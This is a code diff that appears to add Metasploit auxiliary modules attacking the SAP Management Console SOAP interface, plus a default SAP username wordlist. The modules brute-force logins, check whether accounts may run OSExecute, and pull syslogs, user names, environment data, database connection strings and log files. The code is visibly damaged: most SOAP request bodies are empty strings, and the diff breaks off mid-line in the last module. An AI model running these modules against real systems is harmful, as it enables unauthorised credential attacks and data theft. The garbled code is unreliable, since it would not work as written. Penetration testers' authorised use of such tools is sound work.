diff --git a/data/wordlists/sap_common.txt b/data/wordlists/sap_common.txt new file mode 100644 index 0000000000..914ac8dc49 --- /dev/null +++ b/data/wordlists/sap_common.txt @@ -0,0 +1,10 @@ +sapservice +sapadm +adm +sqd +sapdb + +sapservice +sapr3 +sapsr3 +ora diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb new file mode 100755 index 0000000000..980f2be022 --- /dev/null +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb @@ -0,0 +1,132 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'SAP Management Console ABAP syslog', + 'Version' => '$Revision$', + 'Description' => 'This module simply attempts to extract the ABAP syslog through the SAP Management Console SOAP Interface.', + 'References' => + [ + # General + [ 'URL', 'http://blog.c22.cc' ] + ], + 'Author' => [ 'Chris John Riley' ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(50013), + OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']), + OptString.new('UserAgent', [ true, "The HTTP User-Agent sent in the request", + 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]), + OptString.new('LFILE', [true, 'Set path to save output to file', 'abapsyslog']), + ], self.class) + register_autofilter_ports([ 50013 ]) + deregister_options('RHOST') + end + + def rport + datastore['RPORT'] + end + + def run_host(ip) + res = send_request_cgi({ + 'uri' => "/#{datastore['URI']}", + 'method' => 'GET', + 'headers' => {'User-Agent' => datastore['UserAgent']} + }, 25) + return if not res + + extractabap(ip) + end + + def extractabap(rhost) + verbose = datastore['VERBOSE'] + print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}") + success = false + + soapenv = 'http://schemas.xmlsoap.org/soap/envelope/' + xsi = 'http://www.w3.org/2001/XMLSchema-instance' + xs = 'http://www.w3.org/2001/XMLSchema' + sapsess = 'http://www.sap.com/webas/630/soap/features/session/' + ns1 = 'ns1:ABAPReadSyslog' + + data = '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << 'true' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl">' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n\r\n" + + begin + res = send_request_raw({ + 'uri' => "/#{datastore['URI']}", + 'method' => 'POST', + 'data' => data, + 'headers' => + { + 'Content-Length' => data.length, + 'SOAPAction' => '""', + 'Content-Type' => 'text/xml; charset=UTF-8', + } + }, 60) + + if res.code == 200 + success = true + elsif res.code == 500 + case res.body + when /(.*)<\/faultstring>/i + faultcode = "#{$1}" + fault = true + end + end + + rescue ::Rex::ConnectionError + print_error("[SAP] Unable to attempt authentication") + return :abort + end + + if success + print_status("[SAP] ABAP syslog downloading to: #{datastore['LFILE']}") + + outputfile = datastore['LFILE'] + "_" + datastore['RHOST'] + print_status("Writing local file " + outputfile + " in XML format") + + File.open(outputfile,'ab') do |f| + f << res.body + end + + print_good("Saved file " + outputfile) + + elsif fault + print_error("[SAP] Errorcode: #{faultcode}") + return + else + print_error("[SAP] failed to access ABAPSyslog") + return + end + end +end diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_brute.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_brute.rb new file mode 100755 index 0000000000..e74cdd63a7 --- /dev/null +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_brute.rb @@ -0,0 +1,163 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::AuthBrute + + def initialize + super( + 'Name' => 'SAP Management Console Brute Force', + 'Version' => '$Revision$', + 'Description' => %q{ This module simply attempts to brute force the username | password for the SAP Management Console SOAP Interface. }, + 'References' => + [ + # General + [ 'URL', 'http://blog.c22.cc' ] + ], + 'Author' => [ 'Chris John Riley' ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(50013), + OptString.new('SAP_SID', [false, 'Input SAP SID to attempt brute-forcing standard SAP accounts ', '']), + OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']), + OptString.new('UserAgent', [ true, "The HTTP User-Agent sent in the request", + 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]), + ], self.class) + register_autofilter_ports([ 50013 ]) + end + + def run_host(ip) + res = send_request_cgi({ + 'uri' => "/#{datastore['URI']}", + 'method' => 'GET', + 'headers' => + { + 'User-Agent' => datastore['UserAgent'] + } + }, 25) + return if not res + + if datastore['SAP_SID'] + if datastore['USER_FILE'] + print_status("SAPSID set to '#{datastore['SAP_SID']}' - Using provided wordlist without modification") + else + print_status("SAPSID set to '#{datastore['SAP_SID']}' - Setting default SAP wordlist") + datastore['USER_FILE'] = '/opt/metasploit3/msf3/data/wordlists/sap_common.txt' + end + end + + each_user_pass do |user, pass| + enum_user(user,pass) + end + + end + + def enum_user(user, pass) + if datastore['USER_FILE'] == '/opt/metasploit3/msf3/data/wordlists/sap_common.txt' and datastore['SAP_SID'] + user = user.gsub("", datastore["SAP_SID"].downcase) + pass = pass.gsub("", datastore["SAP_SID"]) + end + + verbose = datastore['VERBOSE'] + print_status("#{rhost}:#{rport} - Trying username:'#{user}' password:'#{pass}'") + success = false + + soapenv = 'http://schemas.xmlsoap.org/soap/envelope/' + xsi = 'http://www.w3.org/2001/XMLSchema-instance' + xs = 'http://www.w3.org/2001/XMLSchema' + sapsess = 'http://www.sap.com/webas/630/soap/features/session/' + ns1 = 'ns1:OSExecute' + + data = '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << 'true' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl">hostname0' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n\r\n" + + user_pass = Rex::Text.encode_base64(user + ":" + pass) + + begin + res = send_request_raw({ + 'uri' => "/#{datastore['URI']}", + 'method' => 'POST', + 'data' => data, + 'headers' => + { + 'Content-Length' => data.length, + 'SOAPAction' => '""', + 'Content-Type' => 'text/xml; charset=UTF-8', + 'Authorization' => 'Basic ' + user_pass + } + }, 45) + + if (res.code != 500 and res.code != 200) + return + else + body = res.body + if body.match(/Invalid Credentials/i) + success = false + else + success = true + if body.match(/Permission denied/i) + permission = false + end + + if body.match(/OSExecuteResponse/i) + permission = true + end + end + end + + rescue ::Rex::ConnectionError + print_error("[SAP #{rhost}] Unable to attempt authentication") + return + end + + if success + print_good("[SAP Management Console] Successful login '#{user}' password: '#{pass}'") + + if permission + vprint_good("[SAP Management Console] Login '#{user}' authorized to perform OSExecute calls") + else + vprint_error("[SAP Management Console] Login '#{user}' NOT authorized to perform OSExecute calls") + end + + report_auth_info( + :host => rhost, + :proto => 'tcp', + :sname => 'sap-managementconsole', + :user => user, + :pass => pass, + :target_host => rhost, + :target_port => rport + ) + return :next_user + else + vprint_error("[SAP Management Console] failed to login as '#{user}' password: '#{pass}'") + return + end + end +end \ No newline at end of file diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb new file mode 100755 index 0000000000..69f7d52d8a --- /dev/null +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb @@ -0,0 +1,146 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'SAP Management Console Extract Users', + 'Version' => '$Revision$', + 'Description' => %q{ This module simply attempts to extract SAP users from the ABAP Syslog through the SAP Management Console SOAP Interface. }, + 'References' => + [ + # General + [ 'URL', 'http://blog.c22.cc' ] + ], + 'Author' => [ 'Chris John Riley' ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(50013), + OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']), + OptString.new('UserAgent', [ true, "The HTTP User-Agent sent in the request", + 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]), + ], self.class) + register_autofilter_ports([ 50013 ]) + deregister_options('RHOST') + end + + def rport + datastore['RPORT'] + end + + def run_host(ip) + res = send_request_cgi({ + 'uri' => "/#{datastore['URI']}", + 'method' => 'GET', + 'headers' => + { + 'User-Agent' => datastore['UserAgent'] + } + + }, 25) + return if not res + + extractusers(ip) + end + + def extractusers(rhost) + verbose = datastore['VERBOSE'] + print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}") + success = false + + soapenv = 'http://schemas.xmlsoap.org/soap/envelope/' + xsi = 'http://www.w3.org/2001/XMLSchema-instance' + xs = 'http://www.w3.org/2001/XMLSchema' + sapsess = 'http://www.sap.com/webas/630/soap/features/session/' + ns1 = 'ns1:ABAPReadSyslog' + + data = '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << 'true' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl">' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n\r\n" + + begin + res = send_request_raw({ + 'uri' => "/#{datastore['URI']}", + 'method' => 'POST', + 'data' => data, + 'headers' => + { + 'Content-Length' => data.length, + 'SOAPAction' => '""', + 'Content-Type' => 'text/xml; charset=UTF-8', + } + }, 60) + + env = [] + + if res.code == 200 + case res.body + when nil + # Nothing + when /([^<]+)<\/User>/i + body = [] + body = res.body + users = body.scan(/([^<]+)<\/User>/i) + users = users.uniq + success = true + end + else res.code == 500 + case res.body + when /(.*)<\/faultstring>/i + faultcode = "#{$1}" + fault = true + end + end + + rescue ::Rex::ConnectionError + print_error("[SAP] Unable to attempt authentication") + return + end + + if success + print_good("[SAP] Users Extracted: #{users.length} entries extracted from #{rhost}:#{rport}") + users.each do |output| + print_good("#{output}") + report_note( + :host => '#{rhost}', + :proto => 'SOAP', + :port => '#{rport}', + :type => 'SAP', + :data => "#{output}") + end + return + elsif fault + print_error("[SAP] Errorcode: #{faultcode}") + return + else + print_error("[SAP] failed to access ABAPSyslog") + return + end + end +end \ No newline at end of file diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb new file mode 100755 index 0000000000..4755b1c924 --- /dev/null +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb @@ -0,0 +1,149 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'SAP Management Console getEnvironment', + 'Version' => '$Revision$', + 'Description' => %q{ This module simply attempts to identify SAP Environment settings through the SAP Management Console SOAP Interface. }, + 'References' => + [ + # General + [ 'URL', 'http://blog.c22.cc' ] + ], + 'Author' => [ 'Chris John Riley' ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(50013), + OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']), + OptString.new('UserAgent', [ true, "The HTTP User-Agent sent in the request", + 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]), + OptString.new('LFILE', [false, 'Set path to save output to file', '']), + ], self.class) + register_autofilter_ports([ 50013 ]) + deregister_options('RHOST') + end + + def rport + datastore['RPORT'] + end + + def run_host(ip) + res = send_request_cgi({ + 'uri' => "/#{datastore['URI']}", + 'method' => 'GET', + 'headers' => + { + 'User-Agent' => datastore['UserAgent'] + } + }, 25) + return if not res + + getEnvironment(ip) + end + + def getEnvironment(rhost) + verbose = datastore['VERBOSE'] + print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}") + success = false + + soapenv = 'http://schemas.xmlsoap.org/soap/envelope/' + xsi = 'http://www.w3.org/2001/XMLSchema-instance' + xs = 'http://www.w3.org/2001/XMLSchema' + sapsess = 'http://www.sap.com/webas/630/soap/features/session/' + ns1 = 'ns1:GetEnvironment' + + data = '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << 'true' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl">' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n\r\n" + + begin + res = send_request_raw({ + 'uri' => "/#{datastore['URI']}", + 'method' => 'POST', + 'data' => data, + 'headers' => + { + 'Content-Length' => data.length, + 'SOAPAction' => '""', + 'Content-Type' => 'text/xml; charset=UTF-8', + } + }, 15) + + env = [] + + if res.code == 200 + case res.body + when nil + # Nothing + when /([^<]+)<\/item>/i + body = [] + body = res.body + env = body.scan(/([^<]+)<\/item>/i) + success = true + end + else res.code == 500 + case res.body + when /(.*)<\/faultstring>/i + faultcode = "#{$1}" + fault = true + end + end + + rescue ::Rex::ConnectionError + print_error("[SAP #{rhost}] Unable to attempt authentication") + return + end + + if success + print_good("[SAP] Environment Extracted: #{env.length} entries extracted") + + if datastore['LFILE'] != '' + outputfile = datastore['LFILE'] + "_" + datastore['RHOST'] + print_good("Writing local file " + outputfile + " in XML format.") + File.open(outputfile,'ab') do |f| + f << res.body + end + else + env.each do |output| + print_status("#{output}") + end + return + end + + elsif fault + print_error("[SAP] Errorcode: #{faultcode}") + return + else + print_error("[SAP] failed to request environment") + return + end + end +end diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb new file mode 100755 index 0000000000..a7debb3a34 --- /dev/null +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb @@ -0,0 +1,165 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'SAP Management Console Get Logfile', + 'Version' => '$Revision$', + 'Description' => %q{ This module simply attempts to download available logfiles and developer tracefiles through the SAP Management Console SOAP Interface. Please use the sap_manamgenet_console_listlogfiles extension to view a list of availble files. }, + 'References' => + [ + # General + [ 'URL', 'http://blog.c22.cc' ] + ], + 'Author' => [ 'Chris John Riley' ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(50013), + OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']), + OptString.new('RFILE', [ true, "The name of the file to download", "sapstart.log"]), + OptString.new('FILETYPE', [true, 'Specify LOGFILE or TRACEFILE', 'TRACEFILE']), + OptString.new('UserAgent', [ true, "The HTTP User-Agent sent in the request", + 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]), + OptString.new('LFILE', [false, 'Set path to save output to file', '']), + ], self.class) + register_autofilter_ports([ 50013 ]) + deregister_options('RHOST') + end + + def rport + datastore['RPORT'] + end + + def run_host(ip) + res = send_request_cgi({ + 'uri' => "/#{datastore['URI']}", + 'method' => 'GET', + 'headers' => + { + 'User-Agent' => datastore['UserAgent'] + } + }, 25) + return if not res + + gettfiles(ip) + end + + def gettfiles(rhost) + verbose = datastore['VERBOSE'] + print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}") + success = false + + soapenv = 'http://schemas.xmlsoap.org/soap/envelope/' + xsi = 'http://www.w3.org/2001/XMLSchema-instance' + xs = 'http://www.w3.org/2001/XMLSchema' + sapsess = 'http://www.sap.com/webas/630/soap/features/session/' + + case "#{datastore['FILETYPE']}" + when /LOGFILE/i + ns1 = 'ns1:ReadLogFile' + when /TRACEFILE/i + ns1 = 'ns1:ReadDeveloperTrace' + end + + data = '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << 'true' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl">' + "#{datastore['RFILE']}" + '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n\r\n" + + begin + res = send_request_raw({ + 'uri' => "/#{datastore['URI']}", + 'method' => 'POST', + 'data' => data, + 'headers' => + { + 'Content-Length' => data.length, + 'SOAPAction' => '""', + 'Content-Type' => 'text/xml; charset=UTF-8', + } + }, 120) + + env = [] + + if res.code == 200 + case res.body + when nil + # Nothing + when /([^<]+)<\/item>/i + body = [] + body = res.body + env = body.scan(/([^<]+)<\/item>/i) + success = true + end + + case res.body + when nil + # Nothing + when /([^<]+)<\/name>/i + name = "#{$1}" + success = true + end + + else res.code == 500 + case res.body + when /(.*)<\/faultstring>/i + faultcode = "#{$1}" + fault = true + end + end + + rescue ::Rex::ConnectionError + print_error("[SAP] Unable to attempt authentication") + return + end + + if success + print_good("[SAP] #{datastore['FILETYPE']}: #{datastore['RFILE']} downloaded from #{rhost}:#{rport}") + + if datastore['LFILE'] != '' + outputfile = datastore['LFILE'] + "_" + datastore['RHOST'] + print_status("Writing local file " + outputfile + " in XML format") + File.open(outputfile,'ab') do |f| + f << res.body + end + else + env.each do |output| + print_status("#{output}") + end + return + end + elsif fault + print_error("[SAP] Errorcode: #{faultcode}") + return + else + print_error("[SAP] failed to request environment") + return + end + end +end diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb new file mode 100755 index 0000000000..94f9d9f51f --- /dev/null +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb @@ -0,0 +1,212 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'SAP Management Console Instance Properties', + 'Version' => '$Revision$', + 'Description' => %q{ This module simply attempts to identify the instance properties through the SAP Management Console SOAP Interface. }, + 'References' => + [ + # General + [ 'URL', 'http://blog.c22.cc' ] + ], + 'Author' => [ 'Chris John Riley' ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(50013), + OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']), + OptString.new('UserAgent', [ true, "The HTTP User-Agent sent in the request", + 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]), + ], self.class) + register_autofilter_ports([ 50013 ]) + deregister_options('RHOST') + end + + def rport + datastore['RPORT'] + end + + def run_host(ip) + res = send_request_cgi({ + 'uri' => "/#{datastore['URI']}", + 'method' => 'GET', + 'headers' => + { + 'User-Agent' => datastore['UserAgent'] + } + }, 25) + return if not res + + enum_instance(ip) + end + + def enum_instance(rhost) + verbose = datastore['VERBOSE'] + print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}") + success = false + soapenv='http://schemas.xmlsoap.org/soap/envelope/' + xsi='http://www.w3.org/2001/XMLSchema-instance' + xs='http://www.w3.org/2001/XMLSchema' + sapsess='http://www.sap.com/webas/630/soap/features/session/' + ns1='ns1:GetInstanceProperties' + + data = '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << 'true' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl">' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n\r\n" + + begin + res = send_request_raw({ + 'uri' => "/#{datastore['URI']}", + 'method' => 'POST', + 'data' => data, + 'headers' => + { + 'Content-Length' => data.length, + 'SOAPAction' => '""', + 'Content-Type' => 'text/xml; charset=UTF-8', + } + }, 15) + + if res.code == 200 + body = res.body + if body.match(/CentralServices<\/property>Attribute<\/propertytype>([^<]+)<\/value>/) + centralservices = "#{$1}" + success = true + end + if body.match(/SAPSYSTEM<\/property>Attribute<\/propertytype>([^<]+)<\/value>/) + sapsystem = "#{$1}" + success = true + end + if body.match(/SAPSYSTEMNAME<\/property>Attribute<\/propertytype>([^<]+)<\/value>/) + sapsystemname = "#{$1}" + success = true + end + if body.match(/SAPLOCALHOST<\/property>Attribute<\/propertytype>([^<]+)<\/value>/) + saplocalhost = "#{$1}" + success = true + end + if body.match(/INSTANCE_NAME<\/property>Attribute<\/propertytype>([^<]+)<\/value>/) + instancename = "#{$1}" + success = true + end + if body.match(/ICM<\/property>NodeURL<\/propertytype>([^<]+)<\/value>/) + icmurl = "#{$1}" + success = true + end + if body.match(/ABAP DB Connection<\/property>Attribute<\/propertytype>([^<]+)<\/value>/) + dbstring = "#{$1}" + success = true + end + if body.match(/protectedweb Webmethods<\/property>Attribute<\/propertytype>([^<]+)<\/value>/) + protectedweb = "#{$1}" + success = true + end + elsif res.code == 500 + case res.body + when /(.*)<\/faultstring>/i + faultcode = "#{$1}" + fault = true + end + end + + rescue ::Rex::ConnectionError + print_error("[SAP] Unable to attempt authentication") + return :abort + end + + if success + print_good("[SAP] Instance Properties Extracted from #{rhost}:#{rport}") + if centralservices + print_good("Central Services: #{centralservices}") + end + if sapsystem + print_good("SAP System Number: #{sapsystem}") + report_note(:host => '#{rhost}', + :proto => 'SOAP', + :port => '#{rport}', + :type => 'SAP', + :data => "SAP System Number: #{sapsystem}") + end + if sapsystemname + print_good("SAP System Name: #{sapsystemname}") + report_note(:host => '#{rhost}', + :proto => 'SOAP', + :port => '#{rport}', + :type => 'SAP', + :data => "SAP System Name: #{sapsystemname}") + end + if saplocalhost + print_good("SAP Localhost: #{saplocalhost}") + report_note(:host => '#{rhost}', + :proto => 'SOAP', + :port => '#{rport}', + :type => 'SAP', + :data => "SAP Localhost: #{saplocalhost}") + end + if instancename + print_good("Instance Name: #{instancename}") + report_note(:host => '#{rhost}', + :proto => 'SOAP', + :port => '#{rport}', + :type => 'SAP', + :data => "SAP Instance Name: #{instancename}") + end + if icmurl + print_good("ICM URL: #{icmurl}") + report_note(:host => '#{rhost}', + :proto => 'SOAP', + :port => '#{rport}', + :type => 'SAP', + :data => "SAP ICM URL: #{icmurl}") + end + + if dbstring + print_good("DATABASE: #{dbstring}") + report_note(:host => '#{rhost}', + :proto => 'SOAP', + :port => '#{rport}', + :type => 'SAP', + :data => "SAP dbstring: #{dbstring}") + end + + if protectedweb + print_good("protectedweb Webmethods: #{protectedweb}") + end + return + elsif fault + print_error("[SAP] Errorcode: #{faultcode}") + return + else + print_error("[SAP] failed to identify instance properties") + return + end + end +end diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb new file mode 100755 index 0000000000..72ec15a33a --- /dev/null +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb @@ -0,0 +1,158 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'SAP Management Console List Logfiles', + 'Version' => '$Revision$', + 'Description' => %q{ This module simply attempts to output a list of available logfiles and developer tracefiles through the SAP Management Console SOAP Interface. }, + 'References' => + [ + # General + [ 'URL', 'http://blog.c22.cc' ] + ], + 'Author' => [ 'Chris John Riley' ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(50013), + OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']), + OptString.new('FILETYPE', [true, 'Specify LOGFILE or TRACEFILE', 'TRACEFILE']), + OptString.new('UserAgent', [ true, "The HTTP User-Agent sent in the request", + 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]), + ], self.class) + register_autofilter_ports([ 50013 ]) + deregister_options('RHOST') + end + + def rport + datastore['RPORT'] + end + + def run_host(ip) + res = send_request_cgi({ + 'uri' => "/#{datastore['URI']}", + 'method' => 'GET', + 'headers' => + { + 'User-Agent' => datastore['UserAgent'] + } + }, 25) + return if not res + + listfiles(ip) + end + + def listfiles(rhost) + verbose = datastore['VERBOSE'] + print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}") + success = false + soapenv = 'http://schemas.xmlsoap.org/soap/envelope/' + xsi = 'http://www.w3.org/2001/XMLSchema-instance' + xs = 'http://www.w3.org/2001/XMLSchema' + sapsess = 'http://www.sap.com/webas/630/soap/features/session/' + + case "#{datastore['FILETYPE']}" + when /LOGFILE/i + ns1 = 'ns1:ListLogFiles' + when /TRACEFILE/i + ns1 = 'ns1:ListDeveloperTraces' + end + + data = '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << 'true' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl">' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n\r\n" + + begin + res = send_request_raw({ + 'uri' => "/#{datastore['URI']}", + 'method' => 'POST', + 'data' => data, + 'headers' => + { + 'Content-Length' => data.length, + 'SOAPAction' => '""', + 'Content-Type' => 'text/xml; charset=UTF-8', + } + }, 30) + + env = [] + if res.code == 200 + case res.body + when nil + # Nothing + when /(.*)<\/file>/i + body = [] + body = res.body + env =body.scan(/(.*?)<\/filename>(.*?)<\/size>(.*?)<\/modtime>/i) + success = true + end + elsif res.code == 500 + case res.body + when /(.*)<\/faultstring>/i + faultcode = "#{$1}" + fault = true + end + end + + rescue ::Rex::ConnectionError + print_error("[SAP] Unable to attempt authentication") + return + end + + if success + print_good("[SAP] #{datastore['FILETYPE']}: #{env.length} entries extracted from #{rhost}:#{rport}") + + saptbl = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => 'SAP Logfiles', + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Columns' => [ 'Filename', 'Size', 'Date/Time' ] + ) + + env.each do |output| + #print_status("Filename: #{output[0]}\tSize: #{output[1]}\tDate: #{output[2]}") + saptbl << [ output[0], output[1], output[2] ] + end + + print(saptbl.to_s) + + return + + elsif fault + print_error("[SAP] Errorcode: #{faultcode}") + return + + else + print_error("[SAP] failed to request environment") + return + end + end +end diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb new file mode 100755 index 0000000000..dbf5205384 --- /dev/null +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb @@ -0,0 +1,158 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'SAP Management Console getStartProfile', + 'Version' => '$Revision$', + 'Description' => %q{ This module simply attempts to acces the SAP startup profile through the SAP Management Console SOAP Interface. }, + 'References' => + [ + # General + [ 'URL', 'http://blog.c22.cc' ] + ], + 'Author' => [ 'Chris John Riley' ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(50013), + OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']), + OptString.new('UserAgent', [ true, "The HTTP User-Agent sent in the request", + 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]), + OptString.new('LFILE', [false, 'Set path to save output to file', '']), + ], self.class) + register_autofilter_ports([ 50013 ]) + deregister_options('RHOST') + end + + def rport + datastore['RPORT'] + end + + def run_host(ip) + res = send_request_cgi({ + 'uri' => "/#{datastore['URI']}", + 'method' => 'GET', + 'headers' => + { + 'User-Agent' => datastore['UserAgent'] + } + }, 25) + return if not res + + getStartProfile(ip) + end + + def getStartProfile(rhost) + verbose = datastore['VERBOSE'] + print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}") + success = false + soapenv ='http://schemas.xmlsoap.org/soap/envelope/' + xsi 